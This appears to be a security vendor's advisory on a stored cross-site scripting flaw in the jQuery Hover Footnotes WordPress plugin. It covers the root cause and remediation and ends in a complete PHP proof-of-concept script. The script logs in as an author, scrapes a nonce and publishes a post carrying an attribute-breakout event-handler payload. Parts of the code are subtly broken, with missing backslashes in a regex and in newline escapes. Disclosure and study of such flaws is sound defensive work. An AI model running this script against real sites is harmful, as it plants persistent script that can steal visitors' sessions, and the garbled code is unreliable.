Atomic Edge analysis of CVE-2026-10738 (metadata-based):
This is a stored cross-site scripting vulnerability in the jQuery Hover Footnotes plugin for WordPress, version 1.4 and earlier. The flaw resides in the “Footnote Qualifier” feature, which uses a ‘{{…}}’ syntax. An authenticated attacker with author-level access or higher can inject arbitrary web scripts into pages, which execute when any user views the compromised page. The CVSS score of 6.4 reflects a medium-to-high severity due to the low-privilege requirement and potential for impact on all site visitors.
The root cause is insufficient input sanitization and output escaping on the Footnote Qualifier parameter. The perpetrator can craft a payload that breaks out of an HTML attribute context (e.g., by using a double-quote followed by an event handler like onmouseover). Since this attribute-breakout payload contains no angle brackets, it bypasses WordPress core’s wp_kses_post() filtering, which only strips disallowed HTML tags and does not sanitize inline attribute contexts. Atomic Edge analysis infers this behavior from the CWE classification (CWE-79) and the detailed description; no source code was available for confirmation.
To exploit this vulnerability, an author-level attacker navigates to the WordPress post editor for an existing or new post. In the editor, they insert a footnote using the plugin’s syntax, such as {{footnote text}}. Instead of benign text, the attacker supplies a malicious qualifier like ” onmouseover=”alert(1). The plugin stores this input without properly escaping the double-quote or the event handler. When the post is rendered, the injected attribute breaks out of the intended context, and the event handler executes in the browser of any visitor who hovers over or interacts with the footnote. The attack does not require additional endpoints; it leverages the standard post creation/update process, making detection at the WAF level challenging.
Remediation requires proper output escaping of the Footnote Qualifier value before rendering it in HTML. The plugin should apply context-specific escaping: for attribute contexts, the value must be escaped with esc_attr() in WordPress, which converts double-quotes to " and prevents attribute breakout. Additionally, input sanitization should be added to strip or encode potentially dangerous characters like quotes, backticks, and HTML event handler prefixes. Because the plugin appears unmaintained (no patch available), site administrators should disable or remove the plugin and replace it with a secure alternative.
The impact of successful exploitation includes full stored XSS, allowing attackers to execute arbitrary JavaScript in the browsers of all users who view affected posts. This can lead to session hijacking, theft of authentication cookies, redirection to malicious sites, defacement, and phishing attacks. Since the vulnerability requires only author-level access, any authenticated user with publishing capabilities can become a threat actor, potentially compromising the entire site’s user base.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-10738 - jQuery Hover Footnotes <= 1.4 - Authenticated (Author+) Stored Cross-Site Scripting via Footnote Qualifier ('{{...}}' Syntax)
// Configuration: Set these variables before running.
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$username = 'author'; // Author-level or higher WordPress username
$password = 'password'; // Corresponding password
// Step 1: Authenticate and get nonces.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-10738-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get admin-ajax nonce from admin dashboard (assumes accessible).
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-10738-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$dashboard = curl_exec($ch);
curl_close($ch);
// Extract _wpnonce for post creation (usually in the 'new' post link).
preg_match('//wp-admin/post-new.php?_wpnonce=([a-f0-9]+)/', $dashboard, $matches);
if (!isset($matches[1])) {
die('Failed to retrieve nonce for post creation.n');
}
$nonce = $matches[1];
// Step 3: Create a new post with malicious footnote.
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
'_wpnonce' => $nonce,
'action' => 'editpost',
'post_title' => 'XSS Test Post - CVE-2026-10738',
'content' => 'This is a test paragraph with a malicious footnote. {{ " onmouseover="alert(1) }}',
'post_status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-10738-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Clean up cookie file.
unlink('/tmp/cve-2026-10738-cookies.txt');
echo 'PoC executed. Check the site for a new post titled "XSS Test Post - CVE-2026-10738". Hover over the footnote to trigger XSS.n';
?>
